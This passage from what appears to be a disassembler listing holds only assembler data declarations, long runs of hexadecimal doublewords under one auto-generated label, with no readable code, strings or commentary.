		dd 895C000Ch, 7FD59F73h, 7A04655Dh, 181D6DA7h, 445BDBC0h
		dd 76B001Fh, 0DC76914Ch, 0C800FCCFh, 0EFF410C0h, 97ED50h
		dd 0B83FC65Eh, 0AEC3D742h, 0A46E7400h, 0B47A5827h, 6CD616BFh
		dd 93890F92h, 78EBB7E0h, 8500089Dh, 0EA7DAD86h,	0FA33A23Fh
		dd 17EE76h, 0B834B040h,	0A07EE1E6h, 0CE1ADD03h,	0E07F7523h
		dd 17798DCh, 25189DDAh,	0E9F8FC54h, 0B9DBEC52h,	7B4FEC00h
		dd 5F120BB2h, 7AC401A5h, 52365E78h, 1E04F4B5h, 6A64DF00h
		dd 9C5CD7C1h, 0F2100F60h, 0AA0B1E9h, 673801A3h,	0E561D800h
		dd 500D91A9h, 3DCC7934h, 0ACC8DE24h, 0C2753100h, 0A99DE42Bh
		dd 0C27AF00h, 92D72A39h, 30AC0756h, 905CCF76h, 71F00281h
		dd 4D936A00h, 0C4797344h, 0B745005Dh, 0CDD94243h, 0BC242FA8h
		dd 4104F05Ch, 28B9C5EBh, 768A52Eh, 0D0E6A273h, 48946D10h
		dd 0E3372A12h, 550F0h, 0CC54C4A1h, 0DCD4162Bh, 0D9807C00h
		dd 0ED826078h, 0A6DA00D5h, 0DF69D7A1h, 0E80096B1h, 6CB4F8D6h
		dd 902B8278h, 3A8B1362h, 534803Ch, 152F549Ah, 0E2A80362h
		dd 355A9069h, 0F480120h, 335B7F09h, 0A62C203Dh,	5F825600h
		dd 0C4B213F6h, 68B300DFh, 0BFABB66Dh, 0B900F7A7h, 0C704CE54h
		dd 2F06A2h, 778EDF1Ch, 14E77BC3h, 61E6A600h, 31EF7932h
		dd 67BD007Ch, 0AA1EBB4Dh, 0EB1214E2h, 34A07287h, 158313B8h
		dd 0E46CD4B0h, 1F000B74h, 9CC3578Eh, 13B2911h, 9782464Eh
		dd 0E8017CABh, 8607E25Ch, 769879Bh, 342BF10h, 0C4F900A0h
		dd 0E6447366h, 0FA072FEFh, 1E14876Ch, 8E08E8BBh, 82C1B12h
		dd 7E8A0D6h, 400077C3h,	0FBDCAD09h, 187896F4h, 0A874623Ch
		dd 6B07E656h, 0CEC971D4h, 0E71D6960h, 7F520019h, 0D7768725h
		dd 0C8019699h, 8FAE7B24h, 0F8208168h, 0A8904Fh,	867C7EFh
		dd 0C88DE9Ch, 0BF84B800h, 765F1DC4h, 0C94C00F9h, 0C86791FCh
		dd 0BB7D3B71h, 82A28305h, 0B0C764DBh, 9C316E90h, 0AAD40191h
		dd 5EBC05F5h, 82C8FF4Dh, 0EA05FC63h, 45989D25h,	0B28AE107h
		dd 0B4C18019h, 0F44DB90h, 4DB729BBh, 67A065A0h,	84EA59BAh
		dd 0E88C3300h, 87AB04F0h, 0E29F0075h, 3E42BD41h, 0A900C636h
		dd 0A4C4A203h, 77893C02h, 828E032Bh, 0D5D8EAF5h, 40BF46F0h
		dd 3694E000h, 0A6E591CBh, 5C95E63Bh, 0EB02175Bh, 2C178D88h
		dd 1F13A074h, 7BB0A4h, 0DC1AC20Ah, 54E96EC5h, 5B39C412h
		dd 0D6DD9C00h, 0F8048359h, 480F00B3h, 131E94ECh, 55046DF1h
		dd 594FD153h, 0DD7692C0h, 1B981C9Ch, 35904095h,	0ACEF63A6h
		dd 660FE400h, 3D8762E7h, 0DAF86Ah, 85ED9668h, 0A57F81CCh
		dd 71417700h, 8828ECB8h, 4C7C3F79h, 0D8A950h, 0CE7084ABh
		dd 0D0A3DE97h, 672A9100h, 4AAAFE7Fh, 15940155h,	14F6A31h
		dd 6026F1FBh, 0A5032050h, 0C509FFAAh, 0D5E3B046h, 366E005Dh
		dd 43497FC0h, 4A03B0C1h, 0D4A02830h, 6F03D82Dh,	0A2060011h
		dd 5EFC92E0h, 1A01A70Dh
		dd 14DA3F6Bh, 0F0D366D1h, 19B481h, 9D80639Ah, 4A2B85A4h
		dd 8F0F8B00h, 3B97E91Bh, 826500BFh, 0AF79600Bh,	0CF02A1C7h
		dd 7648F106h, 11B5E173h, 0A68FE8EFh, 3A4200C6h,	0C1475907h
		dd 22009C51h, 0F5CDAE46h, 304BD2h, 6C4041B4h, 0BE67022Eh
		dd 37A33800h, 0F5E4BBDFh, 0F9EF003Eh, 0DDE95EF3h, 51004BDBh
		dd 3FC1AFAAh, 2E251204h, 1CD8CD46h, 265780F6h, 0F0C739E8h
		dd 7869DF00h, 0D22CE520h, 9FDE01F3h, 1CF72F85h,	742294h
		dd 8C765526h, 58C9AED0h, 9817B301h, 417000C2h, 0CA71DA79h
		dd 74026CB8h, 25606261h, 0B58CE882h, 543F0048h,	4AE830ABh
		dd 1AF685E6h, 111A360h,	0E98CE05h, 77B9ECF5h, 0FF414800h
		dd 0B84827FDh, 80703A71h, 4A79BC93h, 26D85745h,	1EB95B81h
		dd 0BEF50010h, 7A9A8713h, 0D908D8EBh, 2C920F3Ah, 0DF001835h
		dd 0B85C9081h, 0D54F0055h, 0DA9ABC43h, 0D800D6F6h, 0CA84CB37h
		dd 2D5A385Dh, 5081E0B9h, 7B0BD26Eh, 17257400h, 0FA9361h
		dd 669C388Ch, 5D1BBF65h, 1A31D202h, 0E1FF08E6h,	0E7D0947Ch
		dd 0C04B006Dh, 58AE05CCh, 0EC003189h, 67435C9Bh, 0F07180h
		dd 97EBF56Ah, 69339917h, 473D1000h, 5C07C1A3h, 76D20004h
		dd 0E2C64870h, 6577BDCBh, 752CDF00h, 0B29F3F87h, 538C1706h
		dd 4340046h, 0FF7C95AAh, 7FC86800h, 0A7491AD5h,	0B63000DEh
		dd 2E103AF0h, 13FBAA6h,	916680E2h, 1539C072h, 44A203E6h
		dd 0F3570A3Bh, 75896FC0h, 17C7E02Eh, 34EE40Bh, 919D9C55h
		dd 0CD8980Dh, 647E0011h, 0AA70F0F7h, 0B22859B7h, 0CE0F9CE2h
		dd 0C0E61860h, 0C01E5022h, 0CD0D00B3h, 1B5F87F0h, 130EADC3h
		dd 0C02D06E3h, 3095073Eh, 0F9F0F94h, 91C342D3h,	5988E04h
		dd 870C9B0h, 1CC0D65Ch,	8941FA9Eh, 24D3652Ah, 0BA00A06Ch
		dd 3F1E1ACCh, 6B00E7D5h, 3B64DD7Bh, 0FE5980A7h,	81C83885h
		dd 0E08D6C01h, 2F519CDAh, 64017C35h, 0F85A311Bh, 3C2128EDh
		dd 395C60h, 0A08165E1h,	432ACDDFh, 5270C860h, 4857A8E4h
		dd 0ED09E11Eh, 18205C62h, 0ACC9A422h, 802D849Ch, 86848CDCh
		dd 0A85479BFh, 3D6CD490h, 0BB00785Fh, 2A375180h, 0B170B203h
		dd 6DE96B00h, 8F30CC18h, 0AEB30264h, 9C76212Fh,	0B46AB8E0h
		dd 0ECFC0200h, 0E3D5C3D0h, 0B1EE1DE4h, 0B876808Ah, 5EE8A995h
		dd 88B7B500h, 519893D6h, 1CA83C21h, 0F54F0680h,	66B8D383h
		dd 0B009C500h, 95B32313h, 5944126Ah, 3C88410Ch,	0D0A41FA0h
		dd 9A775CBDh, 0D0711C00h, 5D9E6822h, 40BB0395h,	7F57D989h
		dd 936D1F0h, 6DBABC00h,	538588Ah, 944116B2h, 0E4DC076Eh
		dd 0A87A9E7h, 0C0BD1F59h, 776B3FE8h, 0B12A6E5Ch, 0C7AB8E4h
		dd 0B2961F04h, 0C4C1DB87h, 0A4742C21h, 2C60037h, 1E530F17h
		dd 0C51384B0h, 4B16A366h, 33302Ch, 78368E6h, 815CDC27h
		dd 0F7734498h, 0F113F27Fh, 0DB008F87h, 0CE1327E8h, 0DE2900F8h
		dd 0C840211Bh, 1D07DC6Ah, 70E350F6h, 6928AED0h,	496F62Bh
		dd 3A2A40C0h, 84ACF0h, 0F748FB02h, 37FE41h, 0BF1A89Bh
		dd 677FFB7h, 79A48095h,	7D993Dh, 360E6EFDh, 6CDE229Dh
		dd 55CB5A0Fh, 4AC09CE2h, 537391B8h, 9486071Ah, 75D21Fh
		dd 0F5C98297h, 0F0F10A00h, 43DCC021h, 0A87D602Dh, 7EA4D288h
		dd 3BAC6700h, 28805EF9h, 0AD86397Ch, 254C0500h,	9B79FF68h
		dd 0C1F62400h, 96301ABFh, 78BE2CBh, 69AEAF17h, 0B5E7F11Ch
		dd 5E45D039h, 0B9AD332Ch, 56D56E00h, 0B0F0FFD6h, 7DB500D4h
		dd 5359F37Eh, 0F204AD06h, 7ABFFD2Ch, 9041F0A0h,	10510053h
		dd 85B322E3h, 61000498h, 2B4D9082h, 0C6214Eh, 0E9B5E8Eh
		dd 51247173h, 0BD021C00h, 2DCE3F1Dh, 0B5B8002Ah, 2246458Ch
		dd 7AEED919h, 121DB600h, 0B972A9F8h, 34E1487Dh,	0C175BA02h
		dd 0D800FE9Ch, 0B621551h, 13FDC408h, 0AD9D140h,	80F2B73Dh
		dd 6F1650CCh, 5CA20939h, 8B0024A0h, 0DC246DEDh,	7D02A418h
		dd 2263AE66h, 5B40F5DAh, 84B8775Dh, 0FA426100h,	70F20482h
		dd 0E9454CEAh, 0C2334C00h, 39906AAAh, 0D0A5B100h, 8493051Ch
		dd 0BC160046h, 0AB7F1F4Ah, 0F90F20E8h, 407CCE87h, 0AAC055EBh
		dd 0B50E03F7h, 0C3A26C9Eh, 19061DF8h, 4BD3E802h, 768629DCh
		dd 84D90F00h, 2493F4E0h, 0E2E8280Ah, 85AB7527h,	94A89CC0h
		dd 0B9AC74C0h, 0A001865h, 3B6EAACCh, 48D519EAh,	8F0A90B2h
		dd 93987804h, 41A80770h, 0F72B90E6h, 0A0006D75h, 2CD95F51h
		dd 550499h, 0F2C8F81Bh,	0A71CCC37h, 0EA2FCD05h,	8CA68EEFh
		dd 0EC813F3Fh, 4FA851CBh, 21D0349Ch, 9D04A41Ch,	682ABB80h
		dd 99CD39h, 7D78D5A7h, 0C3E0E232h, 0A96A7EC0h, 3FCE60h
		dd 1C4A5CFh, 0DA41A60Bh, 154B3701h, 0CD110F3Bh,	2562BCD0h
		dd 0BCE08C02h, 4000EE5Fh, 0ED1F29CBh, 92EF36h, 9F9C0E50h
		dd 3552F7D9h, 5E01F2B0h, 0BDE42021h, 25FCD32Ah,	4BDC0757h
		dd 5061BC6Ch, 0A64758CBh, 7F076490h, 42E7F3FFh,	23BF2720h
		dd 0CED4030Ch, 5C5D592Bh, 0BB789EC0h, 0D7979600h, 9A3760A2h
		dd 817E005Bh, 4CB88C5Eh, 0D217D46Ch, 0E00242Ah,	22F96603h
		dd 72B4009Eh, 602E85BDh, 9CF86258h, 43D09500h, 2366EE1h
		dd 0A32D134Bh, 0A5ACE0D5h, 0A03BD10Fh, 6F3A2025h, 0C31D8Ah
		dd 2859CADAh, 23F14D6Ch, 0ECEEA726h, 16FD8301h,	0D24099E5h
		dd 7258D2h, 0AF7B4449h,	0B1809DD0h, 0CAF94500h,	3E9403B2h
		dd 0AA1109DBh, 6888EF53h, 0C6F801A6h, 0FC70C057h, 0ED0013E7h
		dd 7F3D50ADh, 0DE23Bh, 8CE6C3F3h, 0F5201EA3h, 0FE00B5FCh
		dd 0BC22B319h, 16AE24F8h, 590AFF0h, 81D26348h, 0C41AFEE0h
		dd 722C7984h, 328490CEh, 0B8F446C8h, 5D820180h,	6C6261D8h
		dd 1498DBC3h, 0B2ECFEDh, 7900017Dh, 0C9AF5845h,	2A4B099Bh
		dd 0B058DAA3h, 0C4ABF100h, 2BF09A26h, 99F8EDFEh, 9FAE332Dh
		dd 60F1B520h, 74662077h, 63005898h, 0BAEBC670h,	7BF986B4h
		dd 0DA0B0071h, 7E430E2Fh, 5D0015B7h, 0E71C9C82h, 48B8D763h
		dd 0BE0073E9h, 0B92AD67Bh, 29001FDEh, 88122B04h, 7ED49415h
		dd 974800FAh, 4AAA89C7h, 0B912A81Ah, 2B00C6E7h,	0D0607367h
		dd 4320C190h, 60F7AD32h, 6E7E3EE4h, 7C684C09h, 80D02E67h
		dd 87779131h, 0CBBC0618h, 0E9A0DF50h, 0F7FADB0Fh, 56E045B2h
		dd 0C1BCB0h, 0DD1BD7B0h, 0CD1849F6h, 13E2C700h,	584F1F3Bh
		dd 1FC00A4h, 969452BBh,	7BF1E70Eh, 0A5900201h, 0FC8038BAh
		dd 575062A8h, 32008551h, 0E6AA5986h, 984A82h, 0F66B2007h
		dd 3B4E890Ch, 28BD8E00h, 78D067CCh, 267C2Fh, 0D2F0FE45h
		dd 0BE5795C2h, 6700ABEEh, 3CB7A52Dh, 0A85B9Ch, 1C0E16FBh
		dd 0F1D34593h, 7203C700h, 0AE0AD120h, 5D240022h, 97A2FA07h
		dd 207BF95h, 0A59C7E6Dh, 0EA36A860h, 192A0024h,	8ADCE93h
		dd 0E10705B6h, 0EB321A15h, 0EFB0E8D7h, 154B92Bh, 66BD6DD7h
		dd 0D4943692h, 0B47652CEh, 0F900F670h, 0D92BC144h, 564B62h
		dd 6F54B7A9h, 826DD450h, 0E1B2180Fh, 15B1C0F8h,	673F76h
		dd 5EAB9101h, 0EAC7AE46h, 0D6BD5100h, 9B906EFCh, 14B8AFh
		dd 0C8D03517h, 8611053Bh, 0F71F9490h, 7E006854h, 0A9FA6D92h
		dd 10C31C62h, 0C094C0CDh, 0AC3D09D9h, 0AE005C77h, 0C27FD316h
		dd 0F9CE878h, 0A49055E4h, 45805B6Eh, 497722D2h,	120067B8h
		dd 8818EE11h, 0E82C0EBCh, 0BDB30098h, 749D86E2h, 7D71089Eh
		dd 31EABA00h, 0FC8C0B9Bh, 0AA813E43h, 9DDE4B80h, 0BFD8CB90h
		dd 5D798600h, 682B246Fh
		dd 0EA820092h, 9B587AC1h, 0A0095F8h, 0E7AD287Dh, 936471h
		dd 84EFA0D9h, 0FB34B8AAh, 0A8D26E07h, 0F70053C9h, 1C430Ch
		dd 0A01A010Bh, 0BA76A32Fh, 9B4FAD01h, 46CBD57h,	3BCF9770h
		dd 0D000E351h, 79B8EC37h, 73005AAEh, 3A994681h,	50FF35B9h
		dd 0D7C68Ah, 93392065h,	0F277D930h, 0DC372A0Bh,	0CD7603EEh
		dd 0D520A8BDh, 21E46FD6h, 40979B67h, 0DD2AC758h, 807BB800h
		dd 0B2AEEDC4h, 53C50038h, 16279F8Ch, 5A0E1C84h,	0DE94771Ah
		dd 0AF336B80h, 0F01FE73h, 373068ADh, 5FB67200h,	7B3D754Bh
		dd 0BD38002Ah, 0F7241734h, 0A3E20FB3h, 2800A86Bh, 92561F87h
		dd 0BA09AA04h, 7EC03D49h, 32A6DC9h, 510A8DD7h, 76B8CF73h
		dd 6A004232h, 0C9380D99h, 0E1F70B1h, 39BAF522h,	0EFC61A0h
		dd 0B52C19B8h, 0CF059DFBh, 77C00599h, 0FCDB5B4Ch, 725400BFh
		dd 0F9230F82h, 0A30052B0h, 1B67A090h, 0E15CD2Ah, 6397308Fh
		dd 4D623B20h, 400C2E9h,	9DFEAB89h, 0F6396C54h, 17DB88Dh
		dd 0B1124CB7h, 20E35933h, 89008530h, 32CD6B7Fh,	0DFB77Ch
		dd 49A62FCEh, 75553F09h, 800DCE8h, 5F132AB4h, 4D45B8h
		dd 63C641A4h, 0CEF3D940h, 0FF237700h, 93201598h, 0FC050ECDh
		dd 12F8A4h, 0B26EC864h,	0F6E0BE44h, 0CFEC0E00h,	3F9F5FF0h
		dd 74100014h, 0C1682CB4h, 6907D176h, 99571513h,	0B8648730h
		dd 0C50800C8h, 0CEEBE62Bh, 0B1038E4Dh, 7D92974Bh, 88D78135h
		dd 902BF6ECh, 4A5000F6h, 5373F20Eh, 2F02A3Ah, 88028B7Ch
		dd 4BBA5F46h, 4EF3E11Ah, 4BCD450h, 24AF03E2h, 0B60648E3h
		dd 2596DBF0h, 347F800h,	0ACE509B9h, 0FB8F0013h,	88971607h
		dd 46006C7Dh, 1B0A0B05h, 66779Fh, 0FED2EA40h, 84557443h
		dd 3E11509h, 401D8F0Fh,	0BE694F16h, 0F87D002Fh,	0ABCFDB0Ah
		dd 0C07AFDF7h, 94786B07h, 44007F6Fh, 2910C65h, 0F32E8EBCh
		dd 8FC0A650h, 2400D851h, 66C00122h, 1E4FED9h, 0BCAE5367h
		dd 0C8AFEE42h, 2B004538h, 0FD4EE301h, 7FBF7C8Ch, 67ED006Bh
		dd 529FFED1h, 61036089h, 3ED5154Eh, 3FE7D0B2h, 0CD320339h
		dd 7CA9621Dh, 1807FEEFh, 9B738172h, 0AC5AF853h,	0F72E7E00h
		dd 0B368C411h, 7D2E491h, 223E4F0Ah, 6C5B9083h, 0C848665Fh
		dd 0ACF501F8h, 0F8D824E2h, 994A2E8h, 0EADD7846h, 8D3CE422h
		dd 5ECF4C0h, 70641400h,	0E0FED826h, 4B840EDEh, 8E836B73h
		dd 80B0081Dh, 0A7009B45h, 8BD4AC26h, 1C5025F3h,	40C9CDA3h
		dd 7843F154h, 600F5E6h,	14420AC5h, 0FE4AE3F2h, 0CEB50022h
		dd 27738671h, 5EC09418h, 0CB72D83Fh, 0AF33952h,	40B66F05h
		dd 98C9C0E5h, 8500892Fh, 4994B048h, 0E637450h, 0F8E2FC8Dh
		dd 76EBAA0h, 0FA000AE5h, 0A14F48BBh, 1EAC3277h,	40901417h
		dd 4EC97562h, 3B0078E0h, 0B245D1C8h, 0A702ECh, 84DA6829h
		dd 0F312CB10h, 0BB07D624h, 712D0038h, 5065B97Bh, 992E0006h
		dd 72C4F982h, 0E107705Eh, 0FF222F57h, 0C9452940h, 3C4B206h
		dd 833FD25Bh, 16BBCDCAh, 0CF709C88h, 932DAE00h,	44AB94BFh
		dd 0D05B0C50h, 3704A095h, 0D700EEEEh, 0CE9BAE87h, 0BE1DD04h
		dd 0B76E332Ah, 0E5D46400h, 6A042726h, 0CBE31AB1h, 0B3DDB4C0h
		dd 31C50040h, 277656A6h, 800FE4Bh, 17C20A98h, 7B50EB0Ch
		dd 2D340999h, 410CB05h,	0DD0038FDh, 0E5AD129Ch,	43D317h
		dd 3BF7A689h, 388B5558h, 4057000h, 0C0129B1Dh, 4E110064h
		dd 0F44798AFh, 9F01D11Eh, 2FC60F8Fh, 406046A2h,	19B75EBh
		dd 0C75904EEh, 0D0DAC486h, 0C5018931h, 0C180E65Fh, 6E20FF3Eh
		dd 0D37900D6h, 1394A4F5h, 0D70103B1h, 70D14452h, 0D020BA64h
		dd 63423FB6h, 0DE9C8183h, 2EF8E304h, 360011B7h,	0BACC1FE7h
		dd 0C0A910A6h, 5DA1A061h, 2A0FC39Fh, 0B18B7D3h,	7020805Ah
		dd 1DD72074h, 0C9E8F54Eh, 6407073Eh, 2AB1506Dh,	951B8E48h
		dd 0E860FD16h, 0CDF382h, 0A0EF901Eh, 958441BDh,	0CC657100h
		dd 798F3EA1h, 344050Fh,	84ECBA1Eh, 0CFACC0DDh, 5C007CC3h
		dd 0EF2BEDACh, 0C645FEh, 25FF93C7h, 0CA41F4DDh,	0C4AFD329h
		dd 0EC160820h, 4000EE2Eh, 5AD2D0C7h, 0E8DB1D2Fh, 9F868350h
		dd 60005775h, 97B151AEh, 174892Ch, 4F761F4Ah, 0AC1BB267h
		dd 47030020h, 0DABB9A9Fh, 0A4F8C8B3h, 29A1CC19h, 9A3A9B20h
		dd 4598005Fh, 0EE642EBDh, 0E0F20062h, 0B7ED55C7h, 5C03DA52h
		dd 0AD336E93h, 0A656D897h, 63641D67h, 37F50C3Ah, 470F7771h
		dd 0FE76AF48h, 503C7820h, 1C2958C7h, 409A937Fh,	79A582EBh
		dd 0F91DBBE8h, 235FEA6Ah, 0F2397458h, 541A5008h, 812481AFh
		dd 0B09A86B0h, 1041F6F3h, 1C409023h, 0FADBF4h, 0D17A8A7Fh
		dd 0DD5E9D81h, 0E13BA800h, 0BA5B55B4h, 7AE0A78h, 0AC7F92h
		dd 75BB1D3Eh, 0D4006EB6h, 6989A790h, 85DD67h, 0E9CF5088h
		dd 8C5B1A3Ah, 811D1B07h, 0D770BE6Ch, 1526335h, 5469155Eh
		dd 0D8117F51h, 53000771h, 1905174Ch, 98A9BC38h,	16CF83Ah
		dd 24442CD1h, 0F01276B9h, 0C007D62Fh, 4075E00Fh, 64A1AC1h
		dd 7FBFC7F0h, 49FA310Ah, 514E5A10h, 0CB680EA0h,	0AA203062h
		dd 0A4B02860h, 0C59A06CAh, 7A001150h, 0D251F63Ch, 3319932Ch
		dd 0B80824D1h, 44132100h, 0FFE0F0F6h, 923B0010h, 8D23697Ah
		dd 0B1492B16h, 53DC0358h, 0AC496Ch, 0AF7F7569h,	0DD0C1BD4h
		dd 0DEE1E3Bh, 9806B4F7h, 93E34084h, 9C66C083h, 4A03085Ch
		dd 9B25CAC0h, 2250F789h, 1F88CC31h, 0C0F1DB40h,	968E027Ah
		dd 4D393475h, 16AC0F57h, 0DA590380h, 9850D111h,	0EBD1FD0h
		dd 8D58FF71h, 0A52986C0h, 470FE741h, 819B432Bh,	0E90C91CCh
		dd 0AC0660h, 0A38C7BE5h, 0A868835Bh, 0DCBC9800h, 7C9953C9h
		dd 6BB7004Dh, 70A232C1h, 0FD00AC4Ah, 0E0BF51E6h, 1F2AF204h
		dd 9022156h, 1300CBE7h,	62A185EBh, 69910D00h, 0C7BAD7F5h
		dd 76A40049h, 0E6E9C6E0h, 0B200184Eh, 442DD6F6h, 0FD45FF9h
		dd 0C6EC172Ch, 0CCD19C40h, 6B7EB5ADh, 0B0038C7Fh, 347AB844h
		dd 5EEDC11Ah, 0FEC9268Fh, 1D114E3Fh, 415D01Ah, 656B8077h
		dd 595F7760h, 1FA34C14h, 0C3A68310h, 981002B4h,	0FBCCBDC5h
		dd 274E8C0h, 8E4D4603h,	97BEA6E1h, 0ACB30EF0h, 0C891F697h
		dd 0F742F129h, 21C924EEh, 0D129AFEh, 89ED7210h,	4410086Dh
		dd 2284398Bh, 7142EFF6h, 21891111h, 0E9010835h,	519E9590h
		dd 861218Ch, 9990E5A8h,	219E119Fh, 8A29107Dh, 0A391283Dh
		dd 457F6922h, 0A259C400h, 42DC92A4h, 4ECE0044h,	0C19C118Bh
		dd 0BB1E4D3Bh, 0EF408E5Fh, 0F5A8E5C9h, 206C1EBEh, 0A4D90CDEh
		dd 2B007F56h, 0AE5D8104h, 0AF1E56h, 0B4038432h,	0EFC66FF8h
		dd 0F1793Dh, 0F7FC7092h, 4D8B7Bh, 0D919C73h, 8AD34F23h
		dd 0A65C0C00h, 0B4391DBFh, 0B5CC06DFh, 2022C467h, 21F04074h
		dd 56465300h, 814ADD59h, 60D009Bh, 5DBA632Dh, 2300F1BCh
		dd 0E1D9FCF6h, 744F3379h, 877C00D7h, 48B53D94h,	0FE00781Ch
		dd 0B75977F0h, 2D9C12h,	823EE708h, 3C2EF7E3h, 8E665500h
		dd 453D586h, 0AB7C0F22h, 7800906Dh, 0C0245CD8h,	0A5F35000h
		dd 0BE15EA85h, 7BE2EBh,	0A7CF2280h, 30022CC4h, 0C0368B16h
		dd 9D162A00h, 3DF0853h,	0B1AA706Ah, 0A1C0A61Dh,	8449EDCFh
		dd 0D980064h, 0DAE16122h, 1F8800B8h, 9EA7D9F3h,	0D40F685Dh
		dd 0C7BDF541h, 0B1B62A7Ah, 76F476h, 6E5848Bh, 0D5273DB8h
		dd 0B37A300h, 0A54BC9E2h, 537B00E3h, 0FCB9BCAh,	347172C8h
		dd 0E5C05C00h, 49B5BFFAh
dword_59DA7C	dd 76F30069h, 0AEA8D9Dh, 40E4923Eh, 0D48187Bh, 73063AB0h
		dd 0AE020700h, 0DA98BD4Ch, 768B0042h, 868D7950h, 380032ACh
		dd 662D39D3h, 7080CF25h, 7EBD004Ah, 8B85E3DDh, 1A006E5Fh
		dd 9655E075h, 335F481h,	116164B5h, 66908D33h, 700FACEDh
		dd 8029FE99h, 64B32C6Ah, 0EA541FB7h, 0AFB80E4h,	3460AECDh
		dd 355A6700h, 0E721A87Eh, 0F9D20309h, 984ACC08h, 0ABF1ACF8h
		dd 0CB635F07h, 37B7FBC0h, 7F8079C4h, 3EAE1D0Ah,	8BBE2667h
		dd 3F9B0100h, 9ADDC4A6h, 0A21748h, 0AA1D2CCDh, 0FE929333h
		dd 4C2800A3h, 0C3B00FBCh, 0E400A913h, 956489D2h, 0FE8040D9h
		dd 0EB280032h, 219F1986h, 0E9FBBDF4h, 0D8E9CDD0h, 140072F1h
		dd 4F859A46h, 7E8E219h,	74284CC4h, 0DDCE3C5h, 33619FE0h
		dd 0F4426D07h, 7FB3FBC9h, 2DB1F847h, 50651FBEh,	0FE4183CAh
		dd 0C3E0EE58h, 0A43F2B21h, 6857166Eh, 0A2D7D101h, 2C20BB05h
		dd 6482007Ch, 1740C949h, 6B004BD2h, 4E3E546Dh, 0E58D914h
		dd 0DD576E72h, 1BFCC440h, 0C80F3A9Bh, 0DAF8BBh,	0DF168717h
		dd 0F9798Dh, 0EF78E16Bh, 7AEC9FCBh, 2DE7FD00h, 0E502B631h
		dd 0EEB43BD8h, 0DB622C80h, 0F95FA3E4h, 0A475500Fh, 4700DE53h
		dd 957F3119h, 0E0EF0FE2h, 807FCA72h, 0F556516h,	17024C5Fh
		dd 0E46928B7h, 0F1654092h, 1E00578h, 0F0564Bh, 8FD2E99Ch
		dd 7B18AE06h, 9F6822E7h, 0EEE00008h, 0F3718CC6h, 4001DF02h
		dd 38DD8D92h, 64D86D20h, 0B51F076Fh, 4A4CBD3Eh,	544C3A90h
		dd 20EB6300h, 7AAA6F07h, 0D6395098h, 1C9E0068h,	0EB4A9B9Ah
		dd 790B00C1h, 8E28DB1Eh, 300EB327h, 0E04F454Dh,	5B350524h
		dd 0F9920933h, 0E42059F6h, 4EFCCD69h, 8BD9EA03h, 0B889CCC6h
		dd 3FF7D6BDh, 40F79D1h,	38A039D0h, 0D9F44584h, 0A1367D12h
		dd 2A354C00h, 0EA70987h, 0FF10889Dh, 7041B5E0h,	0B70744F9h
		dd 1AEF86B2h, 0EE920610h, 0DFF1E46h, 32EB41C6h,	0FC2D5256h
		dd 5B0315B4h, 0E78E9505h, 0A1FE997Ah, 26B0A4C4h, 0B2DCB9h
		dd 63B51C5h, 0C7004EDFh, 89615AC6h, 0B3642Ch, 7424917Ah
		dd 0D73E2EDBh, 580E6F26h, 0E4DD6A00h, 0F0402B9h, 6462FC73h
		dd 0F1EBAE60h, 5B00E17Ch, 0EEBFE66Dh, 16A4FABh,	0D51588C4h
		dd 0E033400Dh, 90A84B8h, 974B0C82h, 55CE3D05h, 0B8522083h
		dd 0FFFB463h, 8AD1B560h, 12CDCFC0h, 8E0004E6h, 955AE8DCh
		dd 0B20287h, 0B6CB3866h, 0D48AF640h, 8530D70Ah,	8FB9EC6Ah
		dd 41BD494Ah, 0D1CC2EFh, 16AEFCh, 1E9E258Bh, 0DD45E2A4h
		dd 3EFE9000h, 9C155DF1h, 87D60073h, 0CCB835EBh,	4F029E61h
		dd 0D1D7DDCAh, 0DE5C408Ch, 0C47299h, 2E95FD65h,	6E4654B2h
		dd 274CB400h, 368121C7h, 73BD00A3h, 401CF887h, 7C17F447h
		dd 6047A7F2h, 5F1A06h, 0E18194C5h, 0F8A024B3h, 4D8A4298h
		dd 7054B2C1h, 3DF8260Fh, 46036E7Eh, 0BD5AB0D0h,	0D600E783h
		dd 7EDDCEFh, 0F4BBFF05h, 0E17406Ch, 0BD00A828h,	0E5C21F74h
		dd 3D7DC9h, 0D4E819A2h,	158F8881h, 0E772FD03h, 0C8A71A23h
		dd 1C2A2F8Bh, 4052ED22h, 9D6CB63Dh, 6A005ACCh, 3C3A6D6Eh
		dd 0ED53B2h, 2624F747h,	0F4F12025h, 0DDA80B0Eh,	1E274056h
		dd 57E907h, 0DB6EAB39h,	0A46ADE5Bh, 1C1AD8A0h, 9D29B617h
		dd 20A6E05Ch, 0FB93200h, 13754FC5h, 0A02B2E4Dh,	0FB2E6BADh
		dd 428018C6h, 79E3729Fh, 51F73A9h, 26CDABDFh, 85EE80CAh
		dd 8CA383CBh, 2C21CF90h, 78F87400h, 0A56F5F91h,	96170456h
		dd 0C00197C6h, 2DED63D9h, 5E863007h, 81B07DFAh,	244A66h
		dd 0A64206DDh, 961B8D4Fh, 285223Ch, 9826C49h, 1C6CC0C7h
		dd 0E8E30124h, 8DF4C42Ah, 96F0DBD7h, 660C523Dh,	0E1F03C91h
		dd 0BF5F1CB3h, 4003C19h, 5668F6F4h, 1300EF1Ch, 2BF0D2DCh
		dd 90D65411h, 22CC00BCh, 0F84B674Ch, 0AD005E15h, 5C08CA9Ch
		dd 0A51F5Ah, 0C1012D64h, 0F4513584h, 8AFBB300h,	59390587h
		dd 0B6A6003Bh, 118F9FAFh, 880CCAA2h, 703F89ECh,	0FDD70935h
		dd 0A4806EE0h, 80924F12h, 0DF6DE619h, 0F2F85319h, 687E007Ch
		dd 479B31FEh, 910048C6h, 0E863E38Ah, 45790Ah, 0BCB3A5F2h
		dd 0EBA7204Dh, 19D1A600h, 5411013h, 2C27CE8h, 6289C132h
		dd 22602504h, 2600281Dh, 69F6F397h, 1CE9843Dh, 48B416h
		dd 0F845B1C2h, 0CE05C3F5h, 245834ECh, 549E9480h, 0EE72CBh
		dd 684D1166h, 0D3A855F0h, 9B012976h, 0AFC276BCh, 34C02CF4h
		dd 1D790091h, 0C1027478h, 1012B8Ch, 0EFA5067Ah,	80FBB7FCh
		dd 3FECFBB4h, 0AF9F3121h, 0D51438F9h, 2C009ECCh, 0D6EBF1E1h
		dd 0DF00E5CFh, 2093814Ch, 3C035FB2h, 0EF004273h, 3656AE1Ch
		dd 19F66070h, 88B0E4FAh, 85F27400h, 0B271A8FEh,	0B67358h
		dd 0CFC6EF77h, 0F91FB34Fh, 0D7512B00h, 0DECDCE15h, 0E7BE00C2h
		dd 4DD3B438h, 650705F1h, 21F2E53Ch, 0F84E5313h,	1F9EC29Ah
